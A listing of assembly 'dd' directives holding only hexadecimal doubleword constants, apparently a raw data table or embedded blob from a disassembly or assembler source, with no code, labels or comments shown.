dd 40B4CE59h, 9600AE76h, 84C87113h, 5C5BD1C0h, 830047DAh
dd 6CC95F2Eh, 0C500593Fh, 9B784056h, 8C2C84h, 87A02407h
dd 7202A83Bh, 129C13Fh, 74B61932h, 0F4300D2Bh, 872F1349h
dd 81D01D44h, 0AEF98C7Dh, 8D1AD41Eh, 4ED56D00h, 37AD3086h
dd 728107FFh, 306F539Dh, 23EC9435h, 0CAAE880Fh, 52B3E07Ah
dd 901D2E67h, 76D400A8h, 0ABB9D717h, 6036B36h, 0F64050CEh
dd 22FEB3Bh, 1D8BC9C0h, 74495A90h, 0B0A45725h, 0E10B3BC8h
dd 0A1E01301h, 90F61DF3h, 0E0FCD0D8h, 2C017C54h, 0E51419h
dd 24687178h, 98004758h, 38DA4BEEh, 9E334Fh, 4D53D91h
dd 8ADD1363h, 80D9BD3Bh, 0B06F06B1h, 0F436A240h, 64C32EF5h
dd 0E8643174h, 0A003CF47h, 0DFF2D5DBh, 10AE69h, 4E29EFFDh
dd 3FAF14E7h, 5295EC00h, 0E9BA1841h, 0EA261E5Fh, 989D40B2h
dd 91651A5Eh, 1FD2001h, 0B82EE8BFh, 0C49E70h, 2DD89488h
dd 64AC070Fh, 0FA531A04h, 0D8809829h, 4AF05h, 0AA93B71h
dd 0F463869Fh, 94BB8C24h, 66293C01h, 50312F51h, 17E96CCh
dd 626A0AA1h, 30CD7BBCh, 0E7FCDB7Ch, 97711714h, 0F89F0091h
dd 0DE4858EAh, 0E2B70004h, 868F903Bh, 2F044FB6h, 2D0206CEh
dd 9F3E7380h, 0D5101D70h, 799880B5h, 1A780C59h, 750FB609h
dd 0D4B4825Eh, 7A4740FDh, 2D7600B2h, 44025B73h, 9601AD8Dh
dd 641DBAEAh, 0AC40CDB0h, 77596566h, 5D11C304h, 0A4E83F8Fh
dd 0DE052E55h, 0B1EA162Bh, 0B6542C97h, 2877049Ch, 4FC03ADh
dd 950FE511h, 6B049010h, 0B000C794h, 43E43B47h, 30E9DB4Fh
dd 0E5316A1Eh, 0E82620E2h, 93C00A4h, 0BD3305h, 0CCBEB017h
dd 9DA10043h, 9B88B31Fh, 3483A1Dh, 50CF0010h, 340C5B20h
dd 819EC792h, 0CCD5E095h, 6A00DAE9h, 0F7E5EFE0h, 0F23A59E7h
dd 3B19014Fh, 777B6DBBh, 0BC93FC34h, 0CE902800h, 0C4825097h
dd 7A1E003Ch, 1B790257h, 0F800AE87h, 97EFBB16h, 90730E8Dh
dd 2DDF00CCh, 4F398A58h, 180025B7h, 74319B05h, 48CC16A9h
dd 0EC12A44Eh, 0CBB30026h, 94D6EE85h, 0AFCDE600h, 15B3C408h
dd 8B2000E9h, 54BC01EDh, 993CD732h, 0C6B481E5h, 0C869D012h
dd 1EAE2064h, 40287103h, 0D6523AFBh, 0B41C72C4h, 62949712h
dd 9A6D00A4h, 44942C9h, 8682690h, 0A91754h, 516C324h, 93010D99h
dd 726A85C9h, 80F432C0h, 42FDA098h, 0BAD802ECh, 45855EC5h
dd 0F8941CE1h, 2D004076h, 0ACDE8E3Ah, 589C0478h, 0F5011A89h
dd 0AFB22FC1h, 229C30A8h, 84E5F600h, 0E1DE1003h, 4AA7017Bh
dd 6026CC66h, 8CE3E8CAh, 539C9400h, 0F1198E62h, 7A7300B3h
dd 844B578Fh, 7500B81Eh, 3BFEBFEDh, 1EBB6D05h, 80BE010Bh
dd 2C574D36h, 9E0E29Ah, 90B04Dh, 3898F87Ah, 0BB97E5h, 57C54217h
dd 22609173h, 826B4E1Eh, 0B4D2AE80h, 5B49A8h, 0BD76C8C7h
dd 200A69A7h, 2B8B0E00h, 5D13EB87h, 14450068h, 0EDAFFA6Fh
dd 981223C0h, 18803021h, 79EF2D83h, 594F0091h, 0A6C1B655h
dd 0A2383C7Eh, 4D00F98Eh, 634EAF86h, 24B6C659h, 80943E06h
dd 0CEF6D83Ch, 0B93D570Eh, 0D923B8A8h, 70C00C0h, 86A0F3Eh
dd 40990024h, 8DEAF6A6h, 10003D42h, 83326269h, 78C6546h
dd 5E355653h, 40133F72h, 8BAEEA28h, 3800746Ch, 0FDEC703Dh
dd 0FEAA0AF8h, 9E9879h, 0BDC2C58Ch, 61A36076h, 94331A0Bh
dd 0EFEA0030h, 37FA6D6h, 314EA001h, 3100A849h, 0A2D0BCF4h
dd 50352461h, 2AE680B7h, 5CC07039h, 0AE006071h, 0F9FE9B01h
dd 0E30033B6h, 0D937CB88h, 47159Ah, 0DF1AEE08h, 4F0C493h
dd 0DB0E947Dh, 802EC907h, 0AB3EB99Dh, 0F7E00AEh, 6372D03Ah
dd 45263579h, 370038D9h, 9B965B95h, 9B23702h, 9387C078h
dd 0F9037885h, 0F10FDD82h, 95180750h, 41C2E571h, 40B302BEh
dd 85968D18h, 806609Ah, 0A2AE974h, 790E0008h, 0D2A61601h
dd 263BD3EAh, 4CDB0102h, 0DD34C8BEh, 0E58917C7h, 0C0CFF5Bh
dd 0C8148FBh, 89033EBAh, 0A91F8259h, 0AEBF8B96h, 0FC184FE9h
dd 0FED9A029h, 0C9F41FDAh, 0E96CC062h, 8E930A0Fh, 44C9E50h
dd 8CE1B0C0h, 0B896415Bh, 0C9A6005Ch, 0DA69453Ch, 89008AA8h
dd 0E47A7977h, 1E748783h, 80470ECAh, 0F5A07EEAh, 0E6071553h
dd 0BFF9E508h, 19C656h, 5ACDE291h, 47C060ECh, 0EA59003h
dd 55C2A77h, 85153C20h, 0C0EC0072h, 0E5E3D344h, 0D4305760h
dd 3C6CC0Fh, 0F30CF488h, 18625859h, 1865240h, 0E00A8E0Bh
dd 0E67867FEh, 0B2448777h, 89701281h, 352480B4h, 0EE05721Eh
dd 0A8A8769h, 95FD04Ch, 0C316780Ch, 0FAE70E89h, 8F42513Eh
dd 98EE86C0h, 0FE95F2D1h, 846006E9h, 415FB6A7h, 5E017801h
dd 6B05B841h, 775424h, 7690584Bh, 0A0C0C9B2h, 0EE98D360h
dd 1A9A528Ah, 600E1356h, 0C8446000h, 78005FA1h, 0DBB0F239h
dd 48FA3EEFh, 8F187540h, 879FB1F8h, 0B774DA07h, 0BAE036BCh
dd 0F4BB7Dh, 0FC0177FFh, 0DCE58549h, 71E4837Fh, 40DE4500h
dd 815D2A52h, 65D300F2h, 1534CD30h, 490FA8Ch, 0AEDD2700h
dd 0BECDAE5h, 8A891835h, 8DED71F9h, 4FF4EB0Eh, 70D08160h
dd 19E47FB7h, 0A6AE00CEh, 0EC67C1Bh, 0C725968Eh, 8F58609Fh
dd 4041C714h, 0EEE070D6h, 9F78822Dh, 0A3022807h, 0B6B1E1D1h
dd 0A4504DB5h, 3E696485h, 0B289167Bh, 2200FC91h, 0DAC92FFAh
dd 0AC243AF6h, 4200607Eh, 90466144h, 37C601E8h, 0DA51789h
dd 811EF402h, 0BCBF283Fh, 9290033Eh, 904A44EBh, 12954FDEh
dd 0ECE4C885h, 820A018Dh, 7B9054C9h, 0CB030C22h, 30DC0663h
dd 0FC72AA90h, 988FE324h, 98ED2781h, 119EF597h, 3B5740DEh
dd 95963923h, 97198861h, 0CFD48983h, 2B180976h, 0C206DAAh
dd 17E1ECE8h, 350040B0h, 46E766E5h, 0B6C4F63h, 0E28ADF28h
dd 0E0122841h, 0FA030F82h, 0CED2F24Ch, 9F84B06Dh, 60BD3FE3h
dd 6EA4983h, 0B0BFF0AAh, 74E1ADDFh, 0C822610Ch, 1DA33183h
dd 584966ACh, 477E10CDh, 9F61DE10h, 90C12000h, 0FFDFA4F1h
dd 0F63A1700h, 532CCB8Ch, 0CD1E0FBAh, 87A0488Bh, 491F123Eh
dd 49C75537h, 3AC40A70h, 0ABC906EEh, 187547CEh, 0C73022EAh
dd 53CD81D5h, 819C071h, 8A39C5ECh, 0BB776C18h, 0C0761449h
dd 81524D3Eh, 0C2001B0Ah, 0A0AC3C38h, 3FAE7AA6h, 7C006FD5h
dd 3614396Ah, 0F900FA16h, 0FC701D35h, 0E50A9C83h, 9733ECh
dd 0D376C5D4h, 0F98DA78Bh, 4BE7E06h, 71908449h, 7499C0EBh
dd 68C25232h, 0FE78D900h, 0C0F66F9Eh, 724E30F4h, 85C89738h
dd 54619616h, 0F80F8707h, 69E5BB20h, 1E1D0104h, 0F4CF6A65h
dd 0B4802B82h, 1F07D5EFh, 0DC8F22A7h, 5C8A0024h, 83F5A96Fh
dd 127A2500h, 19E523A6h, 0FBA300E1h, 0C65CE3DFh, 8B008F1Eh
dd 0B3957876h, 6031D792h, 23607107h, 6700B6B0h, 17B13214h
dd 370B56h, 39FDE39Ah, 0E277A2D6h, 0FF045D1Eh, 5174A380h
dd 1BB8709Bh, 10A084ECh, 0DBB864E3h, 13186339h, 46F8B94Ch
dd 0A6CB06C9h, 710A31EDh, 253B5C07h, 3090F07Bh, 0E649727h
dd 9B28D7DEh, 1D263880h, 7100900Dh, 1F8FD885h, 0C016B5h
dd 82FE5499h, 5A915E47h, 45537C01h, 0FB876C33h, 8F45807Bh
dd 0C300562Dh, 0D547B8B9h, 0F637F8EFh, 59BB00F4h, 4D9FC8A9h
dd 7A00EAB2h, 0D50D1383h, 0C30CA51Ch, 23EED309h, 426D1007h
dd 459037B3h, 37EDEA7h, 0C052061Ch, 7AD8A878h, 100CF45Eh
dd 2950CF74h, 0C5DD45FBh, 10EE12BAh, 6F886522h, 147088CBh
dd 5DFD7941h, 1F88DF00h, 27458A00h, 5426AABFh, 0EB4E0744h
dd 705F4CF0h, 377EEC11h, 0B304D9F6h, 46FADDC3h, 13F348F0h
dd 521CFCh, 705A7B5Ah, 800D3C4h, 0E23F5E82h, 60581ECBh
dd 6BB7F0A6h, 0D9005DFEh, 0AA4DEBAFh, 0E2E923DCh, 6D7C05h
dd 0A0423D63h, 4506FA04h, 0C7C50C01h, 0C64732B3h, 17CDE140h
dd 776CC7F5h, 3480B96Fh, 0DBD7C7ADh, 8B4F5E07h, 0C170C9E9h
dd 34E3FBh, 0ED4830FCh, 31B66A97h, 361D3D00h, 0C4877A0Ah
dd 0FAE60129h, 1C85094Ah, 0B8508007h, 38FD6184h, 76D00713h
dd 5074EE28h, 0A4C76AF3h, 703BCF00h, 8E879799h, 0B80E00A9h
dd 0A378FBAAh, 53F64318h, 1E060500h, 45B71CD4h, 8BCE0057h
dd 4901C1BDh, 0FE1E3BE3h, 9B1F3103h, 9ED24C80h, 0F92823h
dd 9C20DE46h, 0B67E4727h, 0D37B9A01h, 0D02215BAh, 735833D4h
dd 0B1B00DBh, 0EB72A978h, 0C81EBD02h, 86C56C50h, 8987CD19h
dd 5DE823A0h, 5CA10076h, 468DFAA8h, 0F400BA35h, 7C500A44h
dd 8A4B19h, 0D7E42E5Ah, 916AF2FDh, 7442CD00h, 0EE77C429h
dd 8E590078h, 9FB8A6DEh, 110033E6h, 515D4A5h, 0D3BA82h
dd 0FD3DB502h, 0D81065C8h, 9A30A000h, 70B70FADh, 480900EDh
dd 0B5A4F21Eh, 5D009BB2h, 0DA300329h, 505F0E44h, 589419h
dd 1F6A48E7h, 16C80DC9h, 6DF22F00h, 9FD610CAh, 0B67000FEh
dd 0B4B70706h, 970FF423h, 322894h, 5D4EE47Bh, 6F05007Ah
dd 0F612656Ch, 2007334h, 1E07BF95h, 15AFFE6Ah, 0F89CE120h
dd 0ED452500h, 0E544F99h, 95641C00h, 7CB8336Dh, 623F245Ch
dd 9F2F03E8h, 81FBD77Fh, 5F781CD0h, 0B6A08700h, 0CD151859h
dd 0D9A900E4h, 0E771AC7Ch, 7D02D117h, 4DA83113h, 13143BBh
dd 0EAFAAE20h, 83E5075Eh, 3133F410h, 288AC8A4h, 84640EF6h
dd 4780BB5Ch, 57B482B6h, 930BC1Fh, 6BBD07FCh, 3991BF77h
dd 4EE80EA2h, 0C10200B0h, 87D1D355h, 0DC131B3Ah, 0BB002441h
dd 539E62DDh, 0A6F00165h, 6D64EC6Bh, 789AD88Eh, 0CAB160F3h
dd 0FE2E4300h, 0EED67B2h, 0CB8B00A3h, 6A1BDFC9h, 0C70AA569h
dd 0D01CD889h, 79382800h, 2619AFBAh, 0F2A9981h, 5EC0FC62h
dd 0BC8FF6C7h, 164FA603h, 8A4A2468h, 64A66048h, 13E267h
dd 0B42A0D9Eh, 0E2151D3Eh, 71264514h, 0B36F04D0h, 3F436B67h
dd 34B198C5h, 2906D825h, 4C3EEE90h, 0F50A00AEh, 0F36E2877h
dd 9B430250h, 4F92DC86h, 337B9DC0h, 0DDF1744Fh, 17497220h
dd 1C509061h, 0C0F3DC48h, 0B662D458h, 4F003102h, 8B7CD3C6h
dd 261A97D2h, 806CF0CBh, 0A1D8A312h, 0B0191A6h, 686684ACh
dd 0A070A22Ch, 0A492055Dh, 802B24EDh, 7C18C7F2h, 0E29C0500h
dd 7863885Eh, 0FB8E13B5h, 46F040D4h, 17FE5C97h, 89BB3C00h
dd 92B6523Eh, 96E00D1h, 0E9A8F69Ah, 0BD010EBAh, 639D1F68h
dd 0BEE4F0C9h, 0A16101A9h, 80C3079Ch, 99F3C308h, 460B8D8h
dd 18261700h, 2C10F6D8h, 94E900B5h, 65D6ECBh, 14006DA2h
dd 96D56945h, 72484376h, 34461F3Ch, 0DFF980E1h, 2820EDC6h
dd 19889201h, 0C9D48D62h, 186570E0h, 0C0DC4CE0h, 1601EE49h
dd 73AD7E59h, 0ECC45C24h, 45FA0099h, 9077CB7Ch, 1E01C572h
dd 0E561581Dh, 29F81F5Fh, 0D1350707h, 60093F79h, 0B7379FD2h
dd 2BB6EC00h, 96BA0D94h, 0E50403CBh, 0C53DA339h, 9246B0C0h
dd 28C88000h, 0B17DCD90h
dd 0DEA004Fh, 2B44E961h, 93000BE2h, 58D08F5Eh, 724FB0ECh
dd 4CB405B9h, 80D2F0FBh, 750EC1FAh, 793CF400h, 53DB7199h
dd 9DE902FFh, 42C8D7Ah, 9B94D068h, 0B70035ECh, 8195C9FCh
dd 69ADEAh, 0C9322F6h, 6CF33625h, 1FA2D5Ch, 5133D15Eh
dd 38E0852Bh, 998F0018h, 0B89A3995h, 72F4B71Dh, 1F63Dh
dd 74D9C3FBh, 506B120Eh, 9FCCAFh, 0FFA07A9Ah, 22874E23h
dd 0E7D7061Dh, 0A6C4AD41h, 0F2EF30ABh, 8E4A01Eh, 0AED070h
dd 90CFA382h, 0B24681FDh, 5C262B71h, 0EA0060AAh, 6BB08036h
dd 6CEE0011h, 0A6820488h, 0D4004CC0h, 0B5B74855h, 3C7E07Dh
dd 0DC1C0CEEh, 0BCB8D7CCh, 0FC030F59h, 924E4881h, 2D9AE110h
dd 44DFC8h, 39A82FC7h, 261E51BCh, 6D0F0D00h, 0D4DD40B0h
dd 523F00DAh, 15B3EFA4h, 0BB3BBFC2h, 0A708084h, 5AA57859h
dd 0B44B00B7h, 787E912h, 7360AF1Dh, 0D298D850h, 154D0077h
dd 0DC905808h, 4500E54Fh, 13596144h, 520A0Eh, 501B5EF4h
dd 0DBE973F2h, 335383Ch, 7F5F65C7h, 8D3ECBA9h, 87B8A4D0h
dd 7E8A39E8h, 91ECE0D5h, 302B020Dh, 12C9C077h, 976624C0h
dd 807A543Fh, 0F988B4F7h, 1449B96h, 0E519BDADh, 0E4824C4Fh
dd 0FC501601h, 0F7009FE4h, 6F0E733Dh, 0B8AC72F2h, 58760E44h
dd 0D4F40D34h, 1FDF3800h, 3DE25EF8h, 0F51291EEh, 0B8003683h
dd 0CD706E05h, 7E7630h, 495C0F17h, 8A8547B7h, 0AF2ADA00h
dd 0D4A8AC68h, 0F487F0A3h, 0D3970F33h, 6E40E874h, 55A17A7Ch
dd 250007EEh, 769A102Dh, 8E2726h, 0C385FF1Ah, 0AC8220C8h
dd 63528300h, 53B265AEh, 1F0A0F2Ah, 0D7E0C32Eh, 309BE9B3h
dd 0E4AA7B00h, 4992807Ah, 3247098h, 9A135223h, 58C86C46h
dd 1E00390Dh, 7C1AC6B9h, 2894C1C3h, 0D44007h, 442C7625h
dd 6EF70E5Dh, 0EE3FCCFEh, 0DEE18037h, 33F6F0CAh, 1D440018h
dd 57740CA5h, 5500D8D0h, 35FA737Eh, 2D9DF625h, 0C1C0403Ah
dd 4F07BBE2h, 65CAF30Ch, 76EA0E50h, 77E7002Eh, 0C28D8CA4h
dd 4100F7B6h, 84D4C048h, 265E81ECh, 23B13EFh, 3BC17D27h
dd 8A1EB880h, 0EB05D986h, 83A8E7BFh, 0A372A840h, 806FFD05h
dd 0E80FBBF2h, 0A093B1C8h, 0CD3BCC61h, 31FC00B9h, 0D5A6B3D4h
dd 8D030708h, 30EC9098h, 54A7F110h, 77D4D0h, 4D23263Dh
dd 46FA4749h, 0ADAAAC00h, 8017C9F9h, 52BB00D6h, 4C56027Fh
dd 6581169h, 8DDC05EFh, 0A4D0A04Eh, 58E9D658h, 0F50CC6Bh
dd 15C23E12h, 821E3C00h, 0F7F8C713h, 467F722Eh, 7427C00h
dd 0BF5786h, 0BEC54B03h, 71E563D8h, 848D6024h, 14B8DA80h
dd 3B60959h, 0C07DC84Ch, 51B0BA5Eh, 0B92EB530h, 0AE00FC67h
dd 0A6F79D46h, 0F56B0011h, 0E4FB6220h, 0CB4C2C6Dh, 36C700B9h
dd 0D14112A3h, 0F6D98A5h, 5A0C44D4h, 5660C012h, 991E8CEBh
dd 0E7C77818h, 58B53AD3h, 415C1003h, 289900ABh, 27D03101h
dd 0C4133061h, 0C00FD1F8h, 0F5007F26h, 69423AA3h, 0D0D200CFh
dd 7204849Dh, 0DC00642Ch, 0D1DF3F3Ch, 0CF6E3Ah, 97A6A0C3h
dd 8CD85638h, 8F60547Ch, 3121D470h, 77C0008Bh, 19BC171Fh
dd 4C00DE40h, 775229Dh, 141A2E1Eh, 583191D1h, 1C8CD9A1h
dd 27C78025h, 0D7577E14h, 5E0E1410h, 9052001Ch, 82F3F031h
dd 7A1607B5h, 406ADF01h, 1C56374Ch, 1DA8790Eh, 486EA193h
dd 1FED1244h, 81E0F0h, 0C3F3460Dh, 45C1277Dh, 31679900h
dd 7887B5B3h, 0F82100B7h, 6A135AFAh, 34149610h, 2D36F79h
dd 0F5824DA4h, 0D3CA60D1h, 4191C04Eh, 0AC4CE6D9h, 9AAA261Fh
dd 8B08D240h, 18D85525h, 2889F3C2h, 0CE00A7D5h, 0A43FE642h
dd 0D3AD71h, 75A04120h, 51083B79h, 0D10F8C98h, 786ECC9Dh
dd 0C0D2D460h, 2ED7E869h, 5F01816Ch, 0F39A7225h, 904002E9h
dd 69E107Ch, 0D161B4A6h, 0F200711Ah, 1DF668DAh, 134E420Eh
dd 0AEEDB60h, 83AC8F42h, 7C435207h, 27CD201Dh, 0CBECFE82h
dd 0DC8100A6h, 541FD213h, 0C58E7AFBh, 442FE027h, 5BF56Fh
dd 8AC63BEBh, 0D8B06CFh, 70576703h, 79BE44F9h, 0AFEB0061h
dd 0A93ED92Ah, 240027BDh, 0F18E9FA6h, 74A54555h, 0B11F6161h
dd 74180DCBh, 790056E4h, 93D2BF5Bh, 1F8C0665h, 8137F4h
dd 2A86DE3h, 0D01BC9Eh, 2BCBDBD5h, 38BA798Bh, 0D6E49500h
dd 0DC755DFFh, 6201DE74h, 0C6BC96C7h, 0B661CA91h, 55E0E0h
dd 0BB872054h, 0B798DC6Ah, 0DBBC6000h, 23B6A774h, 0B2A3035Fh
dd 771650E0h, 9AB02910h, 2CDCEF03h, 12900D37h, 751E131Eh
dd 465C91F9h, 5FFF003Bh, 0ED9ED6E0h, 0AA28035Dh, 483D18CEh
dd 53E8F8C0h, 9FEFB00h, 61E6E1F0h, 45800FAh, 84F5CC30h
dd 0BB1285ADh, 0BF00AA3Dh, 0BAE3B278h, 0FFF70088h, 5B7FFDB8h
dd 0AF0F0955h, 6084E42Dh, 7D66C469h, 9ADD00A8h, 98B62710h
dd 2B002F94h, 0A0A36EBEh, 1402FB34h, 0AC5D310Bh, 78E1CB00h
dd 558997F5h, 0B61BCC00h, 10C7917Dh, 314C3820h, 0A0DC0914h
dd 48FE0179h, 2D993FDBh, 0F9A7E8CDh, 5251011Eh, 83477500h
dd 431A9D4h, 2F05F1Bh, 76CD80A1h, 0F8006846h, 0E3B0C612h
dd 8D9491h, 0CBCF4ED8h, 152EA6D4h, 37AC7900h, 6FADA3BBh
dd 936E00C5h, 2A4FB664h, 0DD00C0DEh, 82450E6h, 556C38h
dd 4C9E2EB9h, 63F6E93h, 0F4F19C00h, 0FFB33B51h, 0A71200C8h
dd 1CF0C70Ah, 0B800AFADh, 33E072BFh, 0C24024h, 10035FD8h
dd 83179C36h, 0E4648800h, 0DE5A4B5Bh, 0CBF32C33h, 0AD740761h
dd 27E6518Bh, 0F28440DDh, 3A17C8D0h, 7002B79h, 7E7519AFh
dd 577A0034h, 3BB3DB71h, 0E9000AD2h, 0CAA8EC59h, 0F1445114h
dd 877E4E83h, 67EF0DFAh, 0A5A640E2h, 0CC162FFCh, 4F0080F1h
dd 2B49617Dh, 96DB4CA3h, 0D7ABDD03h, 30F034B9h, 0A9005E70h
dd 2D368C92h, 399BBF44h, 580BEAAh, 5FF53F51h, 76005C53h
dd 162FA56h, 336D22h, 968378CEh, 85BB5B6Fh, 6CC5EC00h
dd 28EC6EEh, 0B6542416h, 0CF3901EBh, 0C90B85E8h, 0E29C205Ah
dd 0E400677Bh, 86187112h, 7C8EB5h, 6F2B77AAh, 0CF650C46h
dd 0B0845103h, 0BDC6E550h, 3FC37D80h, 88110091h, 0AE0B760Dh
dd 627BC7ECh, 6F06B600h, 1BAD97F9h, 447F7Dh, 68509336h
dd 0B624FEC6h, 0BDD7671Ch, 1F8EACC0h, 344AA60h, 0C6015AD5h
dd 0F1A813FCh, 0C31E1E4Ch, 33405F69h, 0DDA760CDh, 0EDA406B9h
dd 30DB91C4h, 89C77E03h, 0F8B114B3h, 3D50316Ah, 6D03062Dh
dd 0DCE98FDFh, 5DE05EF0h, 0EBD45Ch, 0B2A6D643h, 799A0Eh
dd 0E433BB49h, 5218F881h, 347AD700h, 32CEFE13h, 0CAEE07B1h
dd 40533C22h, 5B1B1D7Bh, 4A72700h, 70AA5FBBh, 15D0299h
dd 7BF4EBCBh, 36DD8740h, 61F58D13h, 0B73C4404h, 5C115080h
dd 97FC0E01h, 4BE0E671h, 6FDD81A7h, 5F22AF1Ch, 7EE27380h
dd 7FE9158h, 2D5FF5Bh, 2FAF114Dh, 0FD16D468h, 125A0F38h
dd 0B040D1DEh, 0E74A712Dh, 6B1D0E3Eh, 0A7E060FBh, 3B928B5Ah
dd 0C9BF7501h, 5E4543D4h, 0D04BF843h, 0C34DACh, 0C25B1106h
dd 7C8AA551h, 3D122200h, 7A105F97h, 0F2AD00FEh, 0EBB7199Ch
dd 0A648C892h, 38487Bh, 8A62F4FDh, 782D4DDh, 3D22416Eh
dd 0F888605Ch, 7EB0A598h, 4FDCBE00h, 72B764C9h, 102F0068h
dd 0F090098Dh, 0FB002A6Dh, 4DE97DCAh, 282817E6h, 98A2C5h
dd 378D1D60h, 0D8C13C2Ah, 0B6DA8A00h, 810573ECh, 9F500095h
dd 8B8B5A0h, 412C481Fh, 0D9D3E6Dh, 0E08589CCh, 0E06400C4h
dd 23ADE659h, 0C80310AAh
dd 747F3414h, 5489F0ABh, 0A7F10F4Ch, 452108EEh, 0FC84EDBAh
dd 0F500C940h, 569E97BDh, 6344E8C5h, 2CB5F87Dh, 23E8B89Bh
dd 66003EC0h, 5BAB384Ah, 0EE9CFE14h, 0BAF1234h, 0EC40035h
dd 198E1A71h, 0DE86E00h, 0A8788D9h, 0C44224B3h, 65BE0948h
dd 0DC470890h, 75A81980h, 78924Eh, 0B057458Bh, 0E2D533ACh
dd 80EB403h, 0F84EFF18h, 75F48Ah, 8C787AC3h, 844460AEh
dd 61C13200h, 0B129AD5Fh, 941F48FDh, 291E24h, 0CA704686h
dd 0FE0DD34h, 0C807D570h, 0C5C32BE7h, 0E19180AEh, 30D1348h
dd 52451916h, 860AE7Bh, 0D370FF70h, 6AFA0088h, 5041C4AFh
dd 63785F93h, 0E401D8B8h, 69A7FD74h, 35F0DAACh, 19713956h
dd 77A15900h, 93E5D420h, 0B1C12400h, 23BB4B65h, 7FE60074h
dd 42728F83h, 490D2E0h, 4BD55D00h, 69D4D366h, 0B48800BBh
dd 0A971CB45h, 750F4D11h, 0C0EA53E9h, 5C5459FDh, 95070F4Ch
dd 9CC0A5E0h, 133DBAAEh, 5F0D3A00h, 375B2156h, 2CF009A6h
dd 98A074E3h, 4DF33C41h, 905048h, 0E9B99E5Ch, 0C85D8E12h
dd 8A08F610h, 1E69EBBh, 0B0E71A8Ch, 0AE66C0AFh, 0ECEA0E1Eh
dd 4AA97403h, 0E0C581CEh, 0A2C0A7E1h, 3CDA359h, 0ACBE62D0h
dd 0E100CA27h, 0B0ABAD0Bh, 30DC5C93h, 0FB610405h, 0E0283CB6h
dd 441D1CCDh, 320341Ch, 1303B736h, 0AFA0CFB3h, 60592BB0h
dd 0B9C739E4h, 0EE36801Eh, 441605B9h, 616438A5h, 69075B80h
dd 1F956CA4h, 0D8B66A00h, 5B87DA1h, 552601C9h, 707E4FC1h
dd 0A445E0A9h, 7469C09Fh, 9EBE00EDh, 0BDB3B57Ah, 4B007092h
dd 21D8405Dh, 258E8Ch, 0ABE68B02h, 62F0F2CDh, 63048700h
dd 234788C3h, 0B9180334h, 0D967B757h, 7B0EC0FFh, 5027CA3Ch
dd 4D5ED6h, 0AF8553ADh, 6717EA6Fh, 410E1370h, 697C000Ah
dd 39FB5548h, 453617Fh, 1841A8BEh, 107E5069h, 0EA004081h
dd 70A4EE56h, 734A2DCEh, 7550672h, 199303E4h, 3542767Eh
dd 6718EF22h, 734888EAh, 606361FAh, 0A0B3E746h, 11003C21h
dd 5E870515h, 1E5F845Ah, 8137E9E6h, 5234FAE5h, 7618802Bh
dd 85F927CCh, 784FF84Ch, 9EE11E0Ah, 83063AA8h, 50AB8169h
dd 8B3BE70Eh, 3F1CF64h, 909E8A08h, 0EE06FDA1h, 0E240A0E4h
dd 4BDE0079h, 2D37552Ch, 7F3DF64Eh, 3F07860Ch, 0C8AC47Ch
dd 8FFBE70Fh, 0DE4F3C8h, 8063E083h, 81710326h, 70D8555Fh
dd 84C78DD8h, 0AF04C15h, 0F1BC1B74h, 9D50A8F8h, 62BF800Fh
dd 4576880Ch, 727E4080h, 0FA0F8F1h, 3A2F21A1h, 858C0960h
dd 71F93EE4h, 907AFCB1h, 0AEEB6301h, 0F7518B42h, 12FC99F1h
dd 84EC0F94h, 812AC713h, 0C602BCACh, 0F6514846h, 684EF0A0h
dd 8205BA43h, 731AD60Ah, 88D9FC20h, 0CA513083h, 17322EC0h
dd 200C81CEh, 0FC700753h, 0A0B5F879h, 5428298h, 6184B688h
dd 0D24611Fh, 883B08CBh, 8654B03Ch, 0BB7B4790h, 5F2E3F00h
dd 0C0E8BCF1h, 5007007Fh, 0F64D57FEh, 7C3AD558h, 3CCD018Eh
dd 47F3052Eh, 140C0420h, 0FC87E1D4h, 54573E07h, 0F9584348h
dd 94676C0h, 0BB118406h, 7B8F635h, 9EA870BFh, 5EA3C50Fh
dd 885869B0h, 3A90CCD5h, 9081BA84h, 73BB2C84h, 2A181548h
dd 74A0802Eh, 1A80E8ABh, 0EAA015B6h, 1909BC7Ah, 6B0C6AD0h
dd 0CC1B4F48h, 0B8B09F8Dh, 3F520E7h, 0BD61525Ah, 0C0D7B246h
dd 0F87D0524h, 58845924h, 6BCFE600h, 4C07B81h, 7EFBE961h
dd 80288814h, 5D62D8E0h, 4462FF18h, 8AAC2A74h, 4290A1B0h
dd 0FD11F45Bh, 8BF503CBh, 9C2D866h, 747E9C48h, 3E1EEC10h
dd 0FDF7F401h, 7BF067CDh, 0A0FCE0A2h, 382E16ECh, 0F4858D6Ch
dd 610A5ED5h, 0CCC0934h, 907403E3h, 0B6731740h, 0CCFB7024h
dd 7A0AB080h, 5411FA1Dh, 3A46C06Ch, 0FF7C52h, 0A80AF54Bh
dd 0C6F72FEh, 637B5F01h, 86DD82D2h, 6536C24h, 67FF040Bh
dd 7E005847h, 0A9D1E45h, 3D119327h, 9C28F682h, 0B7FE88h
dd 80175978h, 0E30C4ED2h, 0D4855CA2h, 0E8805073h, 887CE480h
dd 5D14E26Fh, 9FC4BC09h, 8C879A00h, 7A8F7C33h, 8665003Ch
dd 8AC240Ch, 76015541h, 4E839947h, 0B8B80AE5h, 774FEA8Fh
dd 0FF706D2Ch, 0AB696502h, 81A703h, 8E4F92E1h, 51C58D12h
dd 0FEFF4000h, 36FAF021h, 48A8C00Fh, 0A81AED40h, 1988E5A4h
dd 2822F392h, 1D6708C3h, 41D0E8D2h, 3AAFEF1h, 9A34411Bh
dd 0EA8080E0h, 0C9ADB104h, 252D0055h, 87ACF32Ah, 290F7EDAh
dd 9745F0h, 6BE98E82h, 0AAFAA8h, 934671A1h, 5472B594h
dd 5150EF05h, 20003322h, 0EE5CDAA3h, 0DD490035h, 8034C9A1h
dd 0AE00AB4Ch, 0DAC2934Eh, 0B42ED7h, 2C823592h, 0CE756014h
dd 0B63A9400h, 0F037DB6Dh, 57CD00ABh, 0F2A08A2h, 0A801281Eh
dd 43407CFBh, 3080766Fh, 5ED86896h, 1BF87EE7h, 0E24DBC1Fh
dd 0AEB84500h, 3523DBBh, 5D919A3Ah, 17AB4610h, 253BCFE8h
dd 0F8C72E30h, 2ABC8FA6h, 2843173h, 870F2C2Bh, 19407401h
dd 0B000ABCBh, 0B39BCCA2h, 2BBCA3h, 4CAE393Ah, 0C2B72D4Dh
dd 318A5807h, 813F3511h, 8E17F2CEh, 0E8D11E31h, 1B7B058h
dd 29D59DB5h, 42FF3E9Fh, 1800B2B8h, 17EB45h, 15FDD4DEh
